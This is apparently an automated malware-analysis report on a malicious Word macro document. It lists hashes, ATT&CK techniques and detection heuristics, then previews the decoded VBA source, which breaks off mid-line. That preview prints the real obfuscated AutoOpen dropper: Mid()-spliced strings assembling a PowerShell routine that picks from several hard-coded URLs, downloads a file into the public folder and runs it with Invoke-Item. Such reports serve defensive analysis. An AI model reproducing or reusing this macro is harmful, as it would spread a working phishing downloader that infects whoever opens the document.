Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b19c6ff8d641816c…

MALICIOUS

Office (OLE)

233.0 KB Created: 2018-01-03 06:55:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 0e52acb8f0fbb01079acb8f8307cb608 SHA-1: 3b3fd6fcb51a20f4693e0fe058794d2201805db8 SHA-256: b19c6ff8d641816cdd089761a96fef5d7f3f8ff2938ff2969911d70414d857a5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further suggests a dropper or downloader functionality, likely intended to fetch and execute a phishing lure or other malicious payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77851 bytes
SHA-256: 1305ba411728bf6185fea1e6a9a47e4ffbf5056095daee0b457c8bb73b47f800
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "kUAcYKMJzGXwd"
Function YHJcskrpDItFZt()
On Error Resume Next
IJKzS = JTEAnzIWWKhprA - CBool(bRCviubrpQad) * 216045258 / Sqr(EOcdTJAITLwzsq) + FhIDkDkt / Atn(9898) * JoCibPjMWNRHiD - CDate(376) - iAcHFGwpDT / 3 + HIWtrUVjUfGS / DbjciZAXimV
tOBZWTfhU = AbJkQfCdHbGfKk - CBool(PJkaMKjvLZDjZ) * 216045258 / Sqr(NszZCjdtvAKnj) + FEPcJOI / Atn(9898) * rmvlQfwKM - CDate(376) - cluiHFIEOVOjQZ / 3 + jqGKbXLjzAM / QPzvkoLKwFW
RlmuHvrwA = hzjEDfRp + Mid("AItR7zfFECY+EC'+'Yn'+'sadasdECY+ECY.neECY+ECYxECY+ECYt(ECY+ECY1ECY'+'+ECY, 3ECY+E'+'CY43'+'245)ECY+ECY;zECZrj+ZrjY+ECYfFhuas =ECY+ECY zfFenECY+ECYv:pu'+'bliECY+ECYc +ECY+ECY btECZrj+ZrjYoHuPYHB1mMGv96SPolwd", 6, 181) + NIhKumuFXXcNH
hcVfATlj = acnpNwzOpHbq - CBool(VwmBjqbhwEd) * 216045258 / Sqr(TLiTOdVAJR) + hrHjHEqvAszJc / Atn(9898) * VuwuBdYKR - CDate(376) - nUuaiGqTDEFKcJ / 3 + dGIdfTCBFt / YFHoTXZNtmJP
YQJDi = bRjDXEXwUhz - CBool(rSlUvMDwTb) * 216045258 / Sqr(jWaiLCaPkmdl) + EcOZXhjndHqXcp / Atn(9898) * fCmKAfzjzZLtuR - CDate(376) - iOhrQTwdZ / 3 + vwFOjGjNdjhA / kOHvQALnlV
DlBZDEwJOh = lLPkhkOPjUqq - CBool(dnwdziQkijRD) * 216045258 / Sqr(nnITUhVLQUpna) + DYtDjZwJmop / Atn(9898) * zfzGczhrzbGNz - CDate(376) - VZMSHpWH / 3 + MljliudA / ddiqNKsrFj
dUNQZkLH = tBjFYILSn + Mid("abTJQ'+'CY+ECYeECY+ECY(zfECY'+'+ECYFECY+ECYZ'+'rj+ZrjabECY+ECYc.T'+'oStrZrj'+'+ZrjinZrj+Zrjg(),ECYZrj+Zrj+ECZrj+ZrjYZrj+Zrj ECY+ECYzfFhEC5cOSKdSN", 6, 132) + XXQjmalTohv
Rkwwd = ZcqkZdjZN - CBool(FjrRNScjQi) * 216045258 / Sqr(iuwcIXhcOwJd) + pGQwoADImvfiQ / Atn(9898) * ChjHVnjqiuI - CDate(376) - GzwwZwDAc / 3 + CdsQfavw / ustivfrnp
opjEqtEht = MHXspoBUm - CBool(tENVmXZjWKQnfT) * 216045258 / Sqr(siMEGPMTIDz) + IKZOKMjJ / Atn(9898) * lDoLbDT - CDate(376) - wYcDMwJoPfijk / 3 + RmLRWzw / bwJZHaY
ZjabSHZHiTP = cNYNUBTiINpd - CBool(jnVWbOHbiQcr) * 216045258 / Sqr(PZcihFDntcwj) + KUoaQaYLzSti / Atn(9898) * roIuzvWkltFZ - CDate(376) - kZwmKWqrDmnH / 3 + CSXQHiAANPfwiD / wZaiAjqw
KmUSbJ = wXWqXtDL + Mid("NuMiw3Ylb.orEZrj+ZrjCY+ECYgECY+ECY/1'+'ozECY+ECY3i/ECY+ECY,ECY+ECYhttpECY+ECY://wwECY+EZrj+Zr'+'jCYw.gECY+ECYhariECZrj+ZrjY+ECY.'+'pk/ECY+ECYzrMECY+E65ciu", 7, 143) + WiiPCvfFOFIFv
OwwYlMP = fMsiJiXHvNPZu - CBool(wdVjmBzKjVst) * 216045258 / Sqr(dumpjQWAWnFvnO) + VIiWLuA / Atn(9898) * EaoWtVfWmQh - CDate(376) - NJXfJYjbpPkznv / 3 + YnVhCcNiOuuci / QTfFUqLlCNmOY
mEWZzwtGdK = KJizjOzZfwW - CBool(dHlHzzja) * 216045258 / Sqr(pUiQdSd) + EMftJkGEwaX / Atn(9898) * oXuPkwBAUzcza - CDate(376) - UpwhGvTwbkr / 3 + UXfDDYIiN / ZTjjQdIGk
Tbkcam = dnlIvoD - CBool(tYFKiwjhCw) * 216045258 / Sqr(CqkbRwrMnSr) + wQsDUwInpNdh / Atn(9898) * fEQDBquIRPPs - CDate(376) - TKDbQEBo / 3 + umvPjuJl / NCrluaJmbzbiA
SVJMCfFIuL = oqpjzjHjQiiRz + Mid("PQMDstDszjiDwXmwv390mWs1Q25Yv+ECY//sECY+ECYratimECY+ECY.zes'+'exECY+ECY.cECY+ECYoECY+ECY.ECY+ECZrj+ZrjYil/4wETQpn2zsw", 30, 78) + JlPvBkYwFtS
DPEUJaktbd = ThPRIOUbYrvK - CBool(TciUQuDprO) * 216045258 / Sqr(PdBZfqo) + AKznHOvoEj / Atn(9898) * VWPvMElI - CDate(376) - LjrbSNBiNuwhC / 3 + KNVoXGVGwIh / fAhoVtizJTSWU
viGiWqq = GVcQJIjS - CBool(aUWQafzn) * 216045258 / Sqr(LovWmUJcwU) + LpifHbQAnhTc / Atn(9898) * ZklniwihFBcF - CDate(376) - jiHGhMPkw / 3 + mqJzOwAnrLKw / iWzzpAG
oMaXkoRV = zFRquzU - CBool(tEfpXFZjvzz) * 216045258 / Sqr(ffbElic) + LLTCkhcNfNnrvj / Atn(9898) * RZsLoAzF - CDate(376) - aTXTiMFMWZShlc / 3 + qcMDiLG / vXJitWou
IhIuHJaQh = MQbJkcTwEirPOC + Mid("lwwBEno7l1LP3VVaothONjktfME98MY+ECYuEC'+'Y'+'+ECYas);InvECY+ECYoECY+ECYkECY+ECYe-Item(ECY+ETq4", 31, 61) + FhjtaiBzYZ
dRLWbfw = FZqrishAHMAdz - CBool(wUzPkFOluGmhYk) * 216045258 / Sqr(MZjpzhRTIjDS) + jwJTBkZdCaQB / Atn(9898) * UfkEAUwRun - CDate(376) - nCRfBoijm / 3 + BvwTfoLGKzT / XMmiDjjVVpLrj
lYwSpwOOzBd = qKwWwQRqRd - CBool(tGIjJXDJnoLpcq) * 216045258 / Sqr(MTwiQIvfSbMazA) + IYttltuaKoM / Atn(9898) * hiiVVjAEwujNq - 
... (truncated)

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